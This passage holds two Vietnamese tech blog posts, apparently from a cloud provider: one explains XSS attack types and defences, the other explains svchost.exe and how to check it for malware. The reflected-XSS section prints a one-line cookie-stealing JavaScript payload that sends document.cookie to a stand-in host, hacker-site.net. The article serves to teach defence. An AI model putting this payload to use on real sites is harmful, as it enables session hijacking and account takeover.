Blogs Tech

XSS là gì? Tầm nguy hiểm và cách khắc phục lỗ hổng XSS

17:14 09/03/2022
XSS luôn được xem là nỗi đau đầu đối với dân IT hiện nay khi nhắc đến vấn đề lỗ hổng bảo mật. Vậy bạn đã hiểu rõ được cụ thể XSS là gì hay chưa? Làm sao để có thể bảo vệ hệ thống dữ liệu trước sự tấn công của XSS? Để có đáp án cho câu hỏi này bạn hãy cùng FPT Cloud để tìm đáp án cụ thể. Lỗ hổng XSS là gì? XSS là gì? Thực tế đây là từ được viết tắt từ cụm tiếng Anh Cross Site Scripting. Bản chất đây là một trong các loại tấn công bảo mật phổ biến và thường xuyên xảy ra nhất ở hệ thống web mà hầu hết các tester có kinh nghiệm đều biết đến.  [caption id="attachment_22248" align="aligncenter" width="771"] Tìm hiểu lỗ hổng XSS là gì[/caption] XSS được đánh giá là một trong những loại tấn công bảo mật khá nguy hiểm đối với các ứng dụng web. Thậm chí nó còn được xem là có thể gây ra những hậu quả cực kỳ nghiêm trọng đối với hệ thống dữ liệu thông tin.  Hiểu một cách đơn giản hơn thì XSS là một đoạn mã độc mà Hacker chèn vào hệ thống. Cách thức  mà Hacker sử dụng là thông qua các đoạn Script và thực thi ăn cắp thông tin ở phía Client. Trong đó hầu hết các cuộc tấn công được sử dụng để vượt qua các truy cập, mạo danh người dùng để lấy cắp thông tin. Mục đích chính của quá trình tấn công chính là đánh cắp dữ liệu nhận dạng của người dùng. Bao gồm như Cookies, Session Tokens cùng các thông tin liên quan khác. Ở hầu hết các trường hợp tấn công này chủ yếu được sử dụng để ăn cắp Cookie của người khác. Mà như các bạn cũng biết Cookies giúp cho người dùng đăng nhập tự động. Do đó nếu như cookies bị đánh cắp đồng nghĩa với việc các hacker cũng có thể đăng nhập bằng thông tin nhận dạng khác vào hệ thống dư liệu. Chính vì thế đây được xem là cuộc tấn công nguy hiểm nhất ở những lỗ hổng hệ thống hiện nay. Các cuộc tấn công XSS diễn ra như thế nào? Tấn công XSS hiện nay đang được thực hiện ở phía Client. Kiểu tấn công này hoàn toàn có thể thực hiện với hầu hết các ngôn ngữ lập trình khác. Thế nhưng thường xuyên xảy ra nhất trong các cuộc tấn công vẫn là Javascript và HTML.Vậy cuộc tấn công diễn ra như thế nào? [caption id="attachment_22252" align="aligncenter" width="771"] Tìm hiểu cuộc tấn công XSS[/caption] Diễn biến cuộc tấn công Nhìn chung cách tấn công này thực tế có thể thực hiện thông qua nhiều cách khác nhau. Trong đó chủ yếu phụ thuộc vào các loại tấn công XSS. Những mã độc có thể phản chiếu ở các trình duyệt hệ thống hoặc là lưu trữ trong cơ sở dữ liệu. Mã đọc này sẽ  được vận hành một khi người dùng gọi chức năng thích hợp.  Nguyên nhân chính của tấn công này là xác thực đầu vào dữ liệu người dùng không phù hợp. Dữ liệu độc hại ở đầu vào có thể xâm lấn vào dữ liệu đầu ra. Mã độc có thể nhập một Script sau đó chèn vào mã nguồn website. Khi đó, trình duyệt của người dùng sẽ khó để biết mã thực thi có độc hay không. Vậy nên mã độc hại trong cuộc tấn công XSS có thể đang được thực thi trên trình duyệt nạn nhân hoặc thông qua bất cứ hình thức giả nào đang được hiển thị mà mọi người không biết. Các hình thức tấn công cơ bản Hiện nay trên thực tế có rất nhiều hình thức tấn công XSS có thể xuất hiện để đánh cắp thông tin, dữ liệu. Trong đó bạn có thể tham khảo một số hình thức phổ biến nhất của XSS như sau: Cuộc tấn công có thể xảy ra ở trên các lệnh độc hại đã được thực hiện ở Client Những trang web hay form giả mạo hiển thị cho người dùng. Cụ thể là những nơi mà người dùng nhập thông tin để đăng nhập hoặc là nhấp vào các liên kết đọc hại không rõ.  Quảng cáo được hiển thị ở các trang web mà mọi người truy cập vào.  Những email chứa thành phần độc hại gửi đến cho người dùng. Các cuộc tấn công XSS sẽ xảy ra một khi tin tặc tìm kiếm những lỗ hổng có Websie và gửi nó làm đầu vào độc hại Lúc này các tập lệnh độc hại sẽ tiêm vào mã lệnh và gửi đi dưới dạng đầu ra cho các đối tượng người dùng cuối cùng.  … [caption id="attachment_22256" align="aligncenter" width="771"] Tấn công XSS hiện nay cũng có độ phổ biến không nhỏ[/caption] Ví dụ cụ thể Bạn có thể tìm hiểu chi tiết qua ví dụ phân tích cụ thể. Ví dụ chúng ta có 1 trang web với trường Search. Nếu trường Search là trường có lỗ hổng vậy thì khi người dùng nhập bất kỳ một đoạn Script thì có sẽ được thực thi.  Ví dụ như người dùng nhập đoạn Script đơn giản như hình đây. Một khi nhấn nút “Search” Script được nhập sẽ được thực hiện.  [caption id="attachment_22260" align="aligncenter" width="771"] Hình minh họa[/caption] Như bạn có thể thấy trong ví dụ, Script đã nhập vào trường Search được thực thi. Điều này cho thấy lỗ hổng trong cuộc tấn công XSS. Thế nhưng một tập lệnh có hại hơn cũng được nhập. Nhiều Tester kết hợp tấn công Cross Site Scripting Javascrip Injection cũng được thực hiện ở Client. Trong cả 2, những Script tấn công độc hại sẽ được tiêm vào. Song trường hợp tấn công XSS các thẻ script không cần thiết để thực thi script. >>> Xem thêm: Mã hóa là gì? Vai trò và Các loại mã hóa phổ biến nhất 3 Xu hướng tấn công XSS thường gặp Như cũng đã nói trên cách tấn công của XSS phụ thuộc vào các loại tấn công cụ thể. Và theo như phân tích hiện nay XSS thực tế gồm 3 loại tấn công phổ biến. Vậy các loại tấn công XSS là gì? Chi tiết đã được phân tích như sau: Tấn công Reflected XSS Một thực tế cho thấy có rất nhiều hướng khác nhau để khai thác thông tin, dữ liệu thông qua lỗi Reflected XSS.  Đây cũng là một trong số các cách được sử dụng phổ biến để chiếm phiên việc làm (Session) của người dùng. Thông qua đây các Hacker có thể truy cập được vào dữ liệu dễ dàng để chiếm quyền của người dùng trên các website. Chi tiết quá trình như sau: Người dùng sẽ đăng nhập vào trang web. Giả sử trang web được gán session như sau “Set-Cookie:sesld=5e2c648fa5ef8d653adeede585dcde6f638639e4e59d4” Bằng một cách nào đó, gửi đến cho người dùng một Url nhất định. Trong đó Url chứa tên website mà nạn nhân truy cập và phía sau kèm theo trang của hacker tạo ra với tên gọi là hacker-site.net. Ví dụ như https://abcd.com/……….=”http://hacker-site.net/ Một khi người dùng nhập vào url được gửi, server hệ thống sẽ ngay lập tức phản hồi cho người dùng kèm theo những dữ liệu có trong đoạn Javascript của hacker. Lúc này trình duyệt của nạn nhân bắt đầu phản hồi và thực thi đoạn Javascript. Đoạn  Javascript được hacker tạo ra đa phân sẽ có dạng như sau: var i =new Image;i.src=”http://hacker-site.net/” +document.cookie; Các dòng lệnh trên thực tế thực hiện request đến site hacker với tham số cookie người dùng.  Cùng ở phía site của mình Hacker sẽ nắm bắt được những nội dung cụ thể mà bản thân request được ở trên. Vậy là xem như các session của người dùng đã bị chiếm đóng. Lúc này các hacker hoàn toàn có thể giả mạo tư cách người dùng để thực hiện quyền truy cập vào website mà người dùng đang có. [caption id="attachment_22264" align="aligncenter" width="771"] Quy trình tấn công của Reflected XSS[/caption] Tấn công Stored XSS Không giống như cuộc tấn công Reflected XSS thực hiện công cuộc tấn công trực tiếp tới hệ thống của một người dùng mà hacker đã nhắn đến. Stored XSS là loại tấn công sẽ thực hiện trấn áp đến nhiều hệ thống người dùng. Lỗi này không hết sẽ xảy ra  ở trường hợp ứng dụng web không được thực hiện kiểm tra kỹ lưỡng những dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu. Ví dụ như đối với những form góp ý hay các comment,.... xuất hiện trên website.  Diễn biến cuộc tấn công Đối với loại tấn công Stored các hacker thực tế không thể khai thác trực tiếp mà phải tuân thủ tối thiểu qua 2 bước như sau:  Đầu tiên Hacker thông qua các điểm đầu vào như form, input, textarea,... không được thực hiện kiểm tra kỹ lưỡng để chèn vào các đoạn mã nguy hiểm.  [caption id="attachment_22268" align="aligncenter" width="771"] Chèn mã độc nguy hiểm[/caption] Sau đó người dùng thực hiện lệnh truy cập vào các ứng dụng web. Một khi người dùng tiến hành những thao tác có liên quan đến dữ liệu được lưu này thì các đoạn mã của Hacker sẽ được thực thi. Quá trình thực thi sẽ được thực hiện trên trình duyệt của người dùng đang sử dụng.   [caption id="attachment_22272" align="aligncenter" width="771"] Kịch bản khai thác[/caption] So với Reflected XSS thì Stored XSS được đánh giá là nguy hiểm hơn rất nhiều. Đối tượng bị ảnh hưởng có thể là tất cả những người sử dụng ứng dụng web đó. Trong trường hợp nếu nạn nhân là quản trị viên thì còn có nguy cơ bị chiếm quyền vận hành web Sự khác biệt của loại tấn công Stored XSS và Reflected XSS Đối với hai loại tấn công này thực tế có 2 sự khác biệt lớn trong quá trình thực hiện tấn công xâm nhập dữ liệu.  Chi tiết như sau: Các hacker để khai thác được Reflected XSS Thì phải lừa được người dùng truy cập vào đường dẫn mà mình đã gửi.  Còn đối với Stored XSS không cần phải mất thời gian thao tác đó mà sau khi đã chèn được mã độc hại vào cơ sở dữ liệu ứng dụng hacker chỉ cần đời người dùng tự động truy cập. Đối với người dùng thì đây là việc hết sức bình thường bởi vì họ thực tế không biết việc dữ liệu của mình đã bị nhiễm mã độc.  Hầu hết mục tiêu chính của hacker là làm cách nào để lấy được các dữ liệu thông tin. Trong đó mục tiêu này sẽ dễ dàng hơn nếu ở thời điểm tấn công người dùng trong quá trình làm việc của ứng dụng website. Đối với Reflected XSS thì hacker có thể thuyết phục, lừa người dùng đăng nhập rồi truy cập vào đường dẫn đã cung cấp. Tuy nhiên với Stored XSS thì khác. Bởi vì độc hại đã được lưu ở trong cơ sở dữ liệu website nên bất kỳ khi nào người dùng truy cập đều sẽ làm cho mã độc thực thi. Đồng thời có khả năng yêu cầu người dùng xác nhận trước khi đăng nhập. nhập Tấn công DOM Based XSS Một loại hình tấn công tới cơ sở dữ liệu có phổ biến không kém đó chính là DOM Based XSS. Vậy bản chất DOM Based XSS là gì? Đây được xem là kỹ thuật khai thác XSS dựa vào cơ sở thay đổi những cấu trúc DOM của tài liệu. Cụ thể chính là HTML.  Giả sử như một website có đường dẫn đăng ký và khi truy cập vào  sẽ thấy một form bình thường. Lúc này người dùng sẽ không có chút nghi ngờ gì mà lựa chọn điền các thông tin như được yêu cầu. Thế nhưng Script sẽ  ngay lập tức thực thi vào cơ sở dữ liệu, thông tin hệ thống đã bị hack. Chỉ cần mẹo đơn giản là áp dụng DOM Based XSS các hacker đã có thể nhanh chóng xâm nhập vào hệ thống để chiếm đoạt  thông tin mà họ cần.  Vậy nên DOM Based XSS cũng được xếp vào dạng hình thức tấn công vô cùng nguy hiểm hiện nay. Chi tiết hơn bạn có thể tham khảo qua kịch bản tấn công được mô phỏng theo hình dưới đây. [caption id="attachment_22276" align="aligncenter" width="771"] Kịch bản tấn công Dom Based XSS[/caption] Cách kiểm tra và ngăn chặn các đợt tấn công XSS XSS thường xuyên tấn công người dùng dưới dạng âm thầm mà không hề hay biết. Thế nhưng bạn hoàn toàn có thể áp dụng các cách kiểm tra cụ thể hoặc sử dụng chiến thuật ngăn chặn các đợt tấn công. Vậy bạn còn chờ gì mà không nhanh tay ghi chép ngay cho mình các thông tin thiết yếu sau đây: Cách phát hiện Để có thể biết liệu các hacker có tấn công XSS vào hệ thống cơ sở dữ liệu hay không bạn hãy áp dụng cách kiểm tra thử hộp đen trước. Với cách này bạn có thể hiểu là chúng ta sẽ thực hiện test mà không cần xem xét đến code. Tất nhiên việc kiểm tra code luôn được các chuyên gia khuyến khích vì nó mang đến kết quả khả quan và đáng tin cậy hơn. Trong quá trình kiểm tra thử, các tester  nên nên xem xét những phần nào của website có nguy cơ bị tấn công bởi XSS. Bạn cũng nên liệt kê toàn bộ những nghi ngờ đó thành một tài liệu kiểm thử để giảm thiểu tình trạng bị thiếu sót. Sau đó, các tester hãy lập một bảng kế hoạch để xác định liệu Script nào thực sự cần thực hiện kiểm tra nhất. Trong đó điều quan trọng là kết quả liệu có ý nghĩa gì, ứng dụng ấy dễ bị lỗ hổng hay không và cần được phân tích kết quả sao cho kỹ càng nhất.  [caption id="attachment_22280" align="aligncenter" width="771"] Bạn hoàn toàn có thể phát hiện lỗ hổng tấn công XSS[/caption] Trong khi thực hiện kiểm tra thử nghiệm các cuộc tấn công bạn cần lưu ý kiểm tra xem nó đáp ứng như thế nào đối với những kịch bạn đã nhập? Liệu các kịch bản ấy có đang được thực thi không?  Cách ngăn chặn Có thể nhận định rằng XSS được xem là một dạng tấn công cơ sở dữ liệu khá nguy hiểm với nhiều rủi ro tiềm ẩn xảy ra nhất. Thế nhưng người dùng vẫn nên lập cho mình một kế hoạch cụ thể để ngăn ngừa tình trạng này xảy ra. Và thật may với độ phổ biến của các cuộc tấn công hiện đã có khá nhiều cách để ngăn chặn. Trong đó điển hình như Data Validation, Filtering, Escaping. Chi tiết như sau: Xác thực đầu vào  Đặc biệt công tác phòng chống tấn công đầu tiên bạn cần thực hiện đó là xác thực đầu vào. tất cả những gì được nhập bởi người dùng phải được xác minh chính xác. Bởi vì đầu vào sẽ tác động trực tiếp đến đầu ra. Việc xác thực này có thể được đặt tên làm cơ sở dữ liệu đồng thời đảm bảo về tính bảo mật của hệ thống dữ liệu đó. Tuy nhiên bạn nên lưu ý việc này cũng chỉ góp phần làm giảm thiểu được những rủi ro chứ không thể ngăn chặn triệt để các lỗ hổng mà sự tấn công XSS gây ra. [caption id="attachment_22284" align="aligncenter" width="771"] Nhằm giảm thiểu công cuộc tấn công bạn hãy xác thực đầu vào[/caption] Lọc đầu vào Một cách nữa bạn cũng có thể áp dụng để ngăn chặn quá trình tấn công XSS là lọc đầu vào của người dùng. Cách này bạn có thể hiểu là thực hiện tìm kiếm những từ khóa nguy hiểm ở mục nhập của người dùng. Sau đó bạn đem xóa chúng hoặc thực hiện các thao tác thay thế bằng chuỗi trống.  Các từ đó có thể sẽ là những thẻ như script hay lệnh javascript, đánh dấu HTML,... Việc lọc đầu vào của người dùng này thực tế cũng dễ thực hiện. Bạn hoàn toàn có thể áp dụng khoa nhiều cách khác nhau như:  Thực hiện bởi Developer đã viết mã phía server  Thông qua hệ thống thư viện ngôn ngữ lập trình thích hợp mà người dùng đang sử dụng. Trường hợp này nhìn chung một số Developer có thể viết mãi riêng của họ để tìm kiếm những từ khóa thích hợp và xóa chúng. Thế nhưng cách dễ dàng hơn mà các chuyên gia gợi ý là chọn thư viện ngôn ngữ lập trình thích hợp để lọc đầu vào. Đây được xem là cách đáng tin cậy vì các thư viện đó thực tế đã được nhiều nhà phát triển áp dụng và thử nghiệm. Sử dụng các ký tự Escape  Ngoài ra để phòng ngừa quá trình tấn công của XSS bạn cũng có thể áp dụng các ký tự Escape. Và trong thực tế hiện nay thì đa phần những ký tự này đang được thay đổi bằng các mã đặc biệt. Ví dụ ký tự Escape giống như & # 60. Điều quan trọng là bạn làm sao để tìm kiếm các thư viện thích hợp với ký tự Escape.  [caption id="attachment_22288" align="aligncenter" width="771"] Bạn cung có thể áp dụng cách sử dụng ký tự Escape[/caption] >>> Xem thêm: Svchost là gì? Cách xử lý Svchost giúp máy tính chạy mượt Mức độ nguy hiểm của XSS với Javascript Nhìn chung lỗ hổng bảo mật XSS được xem là ít nguy hiểm hơn so với lỗ hổng SQL Injection. Hậu quả của khả năng thực thi Javascript trên một nền tảng web ban đầu bạn nghĩ có vẻ không nghiêm trọng. Bởi vì hầu hết trình duyệt chạy Javascript trong môi trường được kiểm soát bảo mật chặt chẽ. Javascript bị giới hạn quyền truy cập tới hệ điều hành người dùng cùng các file dữ liệu người dùng. Mặc dù vậy nhưng Javascript vẫn có thể cực kỳ nguy hiểm nếu như nó bị lạm dụng trở thành các đoạn mã độc hại. Cụ thể như: Javascript độc hại có thể truy cập đến các đối tượng là phần còn lại của trang web có thể truy cập tới. Bao gồm cả việc truy cập tới Cookie người dùng. Nếu kẻ tấn công có được Session người dùng, họ có thể giả mạo danh tính người dùng thực sự. Sau đó họ thực hiện các hành động như xâm phạm dữ liệu nhạy cảm người dùng trên website đó. Javascript có thể đọc DOM và tạo ra các chỉnh sửa tùy ý.  Javascript có thể sử dụng Object XMLHttRequest gửi truy vấn HTTP cùng các nội dung tùy ý tới các điểm đích. Javascript trong trình duyệt hiện đại có thể sử dụng HTML5 APIs. Điển hình như nó có thể truy cập đến vị trí của người dùng, webcam, microphone thậm chí là các file dữ liệu cụ thể ở hệ điều hành của người dùng. Hệ thống API đều yêu cầu cấp quyền truy cập từ người dùng nhưng những kẻ tấn công có thể dùng thêm các phương án như Social Engineering để tiến xa hơn.  XSS có phải vấn đề người dùng cần quan tâm? Nếu một kẻ tấn công lạm dụng lỗ hổng XSS trên bất kỳ trang web nào để thực thi mã Javascript tùy ý ở trình duyệt người dùng thì ứng dụng đó và người dùng đều bị xâm hại. XSS không phải là vấn đề của người dùng tương tự như những lỗ hổng bảo mật khác. Nếu nó tác động đến người dùng của bạn thì nó ảnh hưởng tới bạn.  [caption id="attachment_22292" align="aligncenter" width="771"] XSS thực tế rất nguy hiểm[/caption] Cross-site Scripting cũng được sử dụng để deface website thay vì nhắm đến mục tiêu người dùng. Kẻ tấn công dùng những đoạn mã injection để thay đổi nội dung của trang web hoặc thậm chí chuyển hướng trình duyệt người dùng tới một website khác.  Những bài viết liên quan: Proxy là gì? Hướng dẫn kết nối và sử dụng Proxy chi tiết Password là gì? TOP 10 phần mềm quản lý Password tốt nhất WAF – Xu hướng bảo vệ Website trên đà chuyển đổi số Imunify360 là gì? Cách hoạt động & Tính năng của Imunify360 Trên đây là thông tin chi tiết giúp bạn giải đáp thắc mắc những vấn đề xung quanh về XSS. Hy vọng rằng qua đó bạn sẽ hiểu và áp dụng một cách hiểu quả những kiến thức gợi ý vào công việc trong thực tế để ngăn chặn sự tấn công từ XSS.

Svchost là gì? Cách xử lý Svchost giúp máy tính chạy mượt

16:59 09/03/2022
Máy tính bị lag, bị treo và khi kiểm tra Task Manager thì thấy một loại tiến trình Svchost ngang nhiên chiếm dung lượng máy rất dễ xảy ra? Thực tế người dùng đã than thở không ít trên các trang cộng đồng chia sẻ thông tin. Hiểu được điều đó vậy nên FTP Cloud sẽ giải đáp giúp bạn Svchost là gì? Và cách xử lý cụ thể khi gặp trường hợp này. Bạn hãy tìm hiểu và note ngay vào sổ tay cho mình. Svchost là gì? Svchost.exe thực tế là một tiến trình hỗ trợ được cung cấp bởi Microsoft trong hệ điều hành Windows. Đây là một thành phần vô cùng quan trọng đối với một số Windows Service. thành phần này giữ vai trò là Host Service. Windows sử dụng Svchost.exe để nhóm Service cần truy cập vào cùng một DLL để chạy trong một tiến trình. Từ đó có thể giúp giảm nhu cầu về tài nguyên hệ thống.  [caption id="attachment_22112" align="aligncenter" width="771"] Tìm hiểu chi tiết Svchost là gì[/caption] Nói một cách dễ hiểu hơn thì khi máy tính Windows vận hành các chương trình như cập nhật Windows, tường lửa, kết nối mạng,...sẽ vận hành dưới nền máy tính. Mục đích là hoạt động ổn định nhất. Nếu để những chương trình này vận hành riêng lẻ thì sẽ làm hao hụt rất nhiều dung lượng bộ nhớ máy tính làm máy tính bị đơ, bị giật, lag.  Vậy nên để hạn chế điều này Microsoft đã lập nhóm các chương trình này lại với nhau một cách logic thành các tập tin Svchost.exe. Mỗi file như vậy sẽ phục vụ cho một dịch vụ cụ thể. Ví dụ như các tiến trình thuộc tường lửa sẽ nhóm lại thành file Svchost.exe, các tiến trình cập nhật windows cũng được tạo thành một Svchost.exe kacs,...Vì vậy mà nhiều lúc bạn mở thanh Task Manager bạn sẽ thấy rất nhiều tiến trình Svchost chạy cùng lúc.  Svchost.exe được đánh giá là một thành phần quan trọng trong hệ thống Windows. Do đó bạn không nên tự ý xóa hoặc cách ly file. Bạn chỉ thực hiện  khi bạn đã biết chắc chắn rằng file mà bạn đang xử lý là không cần thiết hoặc chứa yếu tố độc hại.  >>> Xem thêm: Lưu trữ đám mây là gì? TOP ứng dụng lưu trữ đám mây tốt nhất Các phần mềm cần sử dụng dịch vụ Svchost Về cơ bản quá trình Svchost.exe sẽ bắt đầu kích hoạt ngay khi Windows khởi động. Sau đó hệ thống sẽ kiểm tra HKLM hive của registry để xem liệu Server nào sẽ tải vào bộ nhớ. Trong đó cửa sổ đăng ký là SOFTWARE\ Microsoft\ Windows NT\CurrentVersion\Svchost.  [caption id="attachment_22116" align="aligncenter" width="771"] Có rất nhiều phần mềm sử dụng dịch vụ Svchost[/caption] Svchost.exe đa phần hoạt động trên nhiều hệ điều hành khác nhau. Điển hình gồm có: Hệ điều hành Windows 10  Hệ điều hành Windows 8   Hệ điều hành Windows 7   Hệ điều hành Windows Vista  Hệ điều hành Windows XP  Hệ điều hành  Windows 2000. Nhìn chung kể từ Windows 10 Creator Update (lưu ý phiên bản 1703) đối với hệ thống sở hữu tới 3.5 GB Ram thì hầu hết mọi Service đều chạy phiên bản Svchost riêng. Trong trường hợp dung lượng ít hơn 3.5 GB Ram thì các Service sẽ tạo nhóm thành các tiến trình Svchost.exe chia sẻ tương tự trong các phiên bản trước.  Một số Service Windows sử dụng Svchost.exe phổ biến là: Windows update Background Tasks Infrastructure Service Plug and Play World Wide Web Publishing Service Bluetooth Support Service Windows Firewall Task Scheduler DHCP Client Windows Audio Superfetch Network Connections Remote Procedure Call …. Hướng dẫn xử lý quy trình Svchost Một khi sử dụng máy tính nếu bạn đột nhiên cảm thấy máy chạy chậm có thể đã có rất nhiều Svchost.exe chạy cùng lúc. Vậy lúc này điều bạn cần làm là hãy kiểm tra xem liệu tiến trình nào nên giữ lại và tiến trình nào nên tắt đi. Và để kiểm tra bạn có thể áp dụng 1 trong 2 cách sau: [caption id="attachment_22120" align="aligncenter" width="771"] Svchost chạy nhiều cùng lúc có thể gây ra tình trạng máy bị chậm, bị lag[/caption] Xử lý bằng bằng Command Prompt Sử dụng Command Prompt xử lý Svchost là gì? Thực tế với cách kiểm tra này sẽ giúp bạn tổng hợp danh sách tất cả các Service được sử dụng bởi các phiên bản Svchost.exe khác nhau. Đặc biệt đối với những bạn nào am hiểu sâu về máy tính hoàn toàn có thể áp dụng cho mình. Trong đó cách kiểm tra Svchost được tiến hành như sau.  Bước 1: Mở Command Prompt Tại giao diện chính màn hình bạn hãy nhấn tổ hợp Windows + R để mở hộp thoại Run. Một khi hộp thoại xuất hiện bạn hãy nhập dòng chữ CMD vào thư mục Open và nhấn Enter. Như vậy là bạn đã mở được Command Prompt. [caption id="attachment_22124" align="aligncenter" width="771"] Mở Command Prompt bằng hộp thoại Run[/caption] Bước 2:  Nhập lệnh Một khi Command Prompt hiển thị bạn hãy tiến hành nhập lệnh “Tasklist/SVC” vào mục “C:\Users\Dell”. Sau đó bạn hãy nhấn Enter. [caption id="attachment_22128" align="aligncenter" width="771"] Nhập lệnh gợi ý vào thư mục yêu cầu[/caption] Bước 3: Tìm file Svchost cần vô hiệu hóa Lúc này hệ thống sẽ bắt đầu chạy tiến trình. Bạn hãy dành chút thời gian chờ đợi là sẽ thấy được tất cả danh sách các tiến trình Svchost đang chạy. Ở kết quả trả về, bạn quan sát cột bên trái chính là những Svchost.exe đang vận hành trên máy. Còn riêng cột bên phải sẽ là các dịch vụ tương ứng đang chạy trong đó.  [caption id="attachment_22132" align="aligncenter" width="771"] Danh sách các tiến trình Svchost đang chạy[/caption] Ví dụ như tiến trình cập nhật Windows sẽ có ký hiệu là Wuauserv. Nếu bạn thực sự muốn vô hiệu hóa file Svchost bạn cần phải nhớ ký hiệu của chương trình đó và tiến tới bước 4.  Bước 4: Vô hiệu hóa Bạn hãy mở Command Prompt lên, cách thức hiện bạn hãy áp dụng như bước 1 nhé. Sau đó tại mục “C:\Users\Dess>” bạn hãy nhập lệnh là “sc config wuauserv start=disabled”. Trong câu lệnh gợi ý thì “wuauserv” hoàn toàn có thể được thay thế bằng các ký hiệu của các chương trình khác mà bạn muốn vô hiệu hóa. Chương trình sẽ bị vô hiệu hóa kể từ lần khởi động máy sau khi bạn thực hiện lệnh.  [caption id="attachment_22136" align="aligncenter" width="771"] Nhập lệnh và ký hiệu tiến trình để vô hiệu hóa[/caption] Tuy nhiên đối với cách này nếu bạn không hiểu các ký hiệu ở kết quả mà Command Prompt đưa ra thì rất vô nghĩa. Vì vậy cách này chỉ dành cho những dân IT chuyên nghiệp thôi nhé.  >>> Xem thêm: PHP là gì? Khám phá chi tiết ngôn ngữ lập trình PHP Xử lý bằng Task Manager Đối với cách sử dụng Command Prompt thì Task Manager có phần đơn giản hơn rất nhiều. Đây là cách xử lý Svchost phù hợp với đông đảo người dùng phổ thông. Nếu bạn không am hiểu gì về công nghệ cũng có thể áp dụng ngay cho mình. Và để lấy lại được tài nguyên cho máy tính bạn hãy áp dụng đúng hướng dẫn dưới đây: Bước 1: Mở Task Manager Để mở thanh Task Manager bạn hãy nhấp chuột phải vào thanh công cụ Task bar ở phía cuối màn hình. Một khi các tùy chọn xuất hiện bạn hãy Click vào Task Manager. Bên cạnh đó bạn cũng có thể mở Task Manager bằng cách nhấn tổ hợp phím Ctrl + Alt + Del hoặc là Ctrl + Shift + Esc. [caption id="attachment_22140" align="aligncenter" width="771"] Vào thanh công cụ Task Bar nhấp chuột phải để mở Task Manager[/caption] Bước 2: Chọn Tab Processes Một khi giao diện Task Manager hình thành, tại đây bạn hãy bấm chọn Tab Processes. Sau đó bạn nhấn vào Show processes from all users sẽ thấy các Svchost.exe đang chạy. Trong một số phiên bản của Windows những tiến trình này sẽ xuất hiện với tên gọi khác là Service Host.   [caption id="attachment_22144" align="aligncenter" width="771"] Bấm chọn Tab Processes để thấy các Svchost.exe đang chạy[/caption] Tiếp đến bạn hãy nhấn chuột phải vào chúng để các tùy chọn xuất hiện và bạn click vào Go to details.  [caption id="attachment_22148" align="aligncenter" width="771"] Click chuột phải chọn Go to details[/caption] Bước 3: Xem dung lượng  mà những Svchost đang chiếm Lúc này bạn có thể kiểm tra xem các Svchost  liệu đang chiếm bao nhiêu dung lượng của bộ nhớ và CPU. Cách thực hiện là thông qua cột Memory và CPU. Tiến trình nào chiếm quá nhiều dung lượng bạn có thể thực hiện vô hiệu hóa bằng việc bấm chuột trái vào tiến trình rồi click chọn End Task.  [caption id="attachment_22152" align="aligncenter" width="771"] Kiểm tra dung lượng mà các Svchost chiếm đóng[/caption] Tự nhiên đến đây bạn vẫn chưa biết các dịch vụ đang chạy dưới tiến trình Svchost là gì. Trong trường hợp nếu như bạn tắt nhầm những tiến trình quan trọng thì rất dễ gây hại cho máy tính. Vậy nên để đảm bảo an toàn bạn tiếp tục làm thêm bước 4 sau.  Bước 4: Vô hiệu hóa từng tiến trình Để thực hiện vô hiệu hóa từng tiến trình trong một Svchost bạn hãy click chuột phải vào Svchost.exe nào chiếm dung lượng bộ nhớ máy tính nhiều nhất. Cách nhận dạng là bạn quan sát ở cột Memory. Sau đó bạn tiến hành click chuột phải vào tiến trình và chọn Go to Service.Lúc này bạn sẽ nhìn thấy được  tất cả những tiến trình đơn lẻ đang chạy.  [caption id="attachment_22156" align="aligncenter" width="771"] Click chuột phải ở tiến trình và chọn Go to Service[/caption] Tại cột Description tên của dịch vụ sẽ được hiển thị rất cụ thể. Do đó bạn hoàn toàn có thể dừng chúng nếu như thấy không cần thiết. Cách thức thực hiện là bạn bấm chuột phải vào đó rồi chọn Stop. Cách kiểm tra file Svchost.exe có chứa virus không?  Một thực tế cho thấy rất nhiều loại mã độc hại, virus hoặc các phần mềm gián điệp đã ẩn dưới dạng file Svchost.exe. Mục đích chính là để lấy cắp thông tin và thực hiện xâm chiếm quyền truy cập máy tính. Vậy nên rất nhiều người dùng dễ bị nhận diện sai giữa các file Svchost.exe thực sự và các file Svchost.exe chứa virus. Một khi thực hiện vô hiệu hóa sẽ bị nhầm tiến trình và bỏ sót các file virus. Do đó bạn hãy bỏ túi cách kiểm tra tập tin có phải là file Svchost chứa virus hay không như sau. Bước 1: Tại giao diện chính màn hình bạn hãy nhấn tổ hợp phím Ctrl + Alt + Del để mở Task Manager. Sau đó bạn nhấn chọn vào Processes để kiểm tra danh sách tiến trình Svchost.exe. Tại đây để tiến hành kiểm tra vị trí của Svchost.exe bạn hãy click chuột phải vào tiến trình. Các tùy chọn xuất hiện bạn bấm chọn Open file Location. [caption id="attachment_22160" align="aligncenter" width="771"] Bấm chọn Open file Location tại tiến trình cần kiểm tra[/caption] Bước 2: Giao diện mới hình thành bạn hãy để ý xem nếu vị trí của file nằm trong thư mục “Windows\System32” thì bạn hoàn toàn có thể an tâm rằng file đó không phải là virus. Ngược lại nếu như file nằm ở vị trí khác thì bạn có thể xóa theo hướng dẫn ở trên. [caption id="attachment_22164" align="aligncenter" width="771"] Kiểm tra file an toàn không chứa virus[/caption] Ngoài ra nhằm đảm bảo tính an toàn cũng như thuận tiện trong quá trình sử dụng máy tính bạn có thể cài thêm các phần mềm diệt virus, mã độc hại cũng được.  Hướng dẫn loại bỏ virus Svchost.exe Trên thực tế bạn không thể xóa file Svchost thật khỏi máy tính của mình. Bởi vì bản chất đây là một tiến trình rất quan trọng. Tuy nhiên bạn hoàn toàn có thể xóa hay giả mạo. Nếu bạn thấy có một file nằm ở đâu đó không thuộc thư mục %SystemRoot%\System32\ hoặc là %SystemRoot%SysWOW64\” thì việc xóa file là an toàn 100%. Tuy nhiên thực tế virus Svchost.exe rất khó để xóa như các file thông thường. Vậy nên bạn hãy thực hiện theo như  sau để loại bỏ virus: Cách 1: Đầu tiên bạn mở thư mục Task Manager lên. Tại đây bạn bấm chọn vào tiến trình Svchost.exe. Các tùy chọn xuất hiện bạn hãy click chọn Open File Location. Lưu ý ta sẽ không thực hiện bất kỳ thao tác gì tại cửa sổ mới vậy nên bạn hãy cứ để nó mở. [caption id="attachment_22168" align="aligncenter" width="771"] Click chọn Open File Location[/caption] Lưu ý Bạn nên nhớ rằng nếu như thư mục mở là một trong các thư mục hệ thống được đề cập ở trên vậy thì file  Svchost.exe của bạn sạch 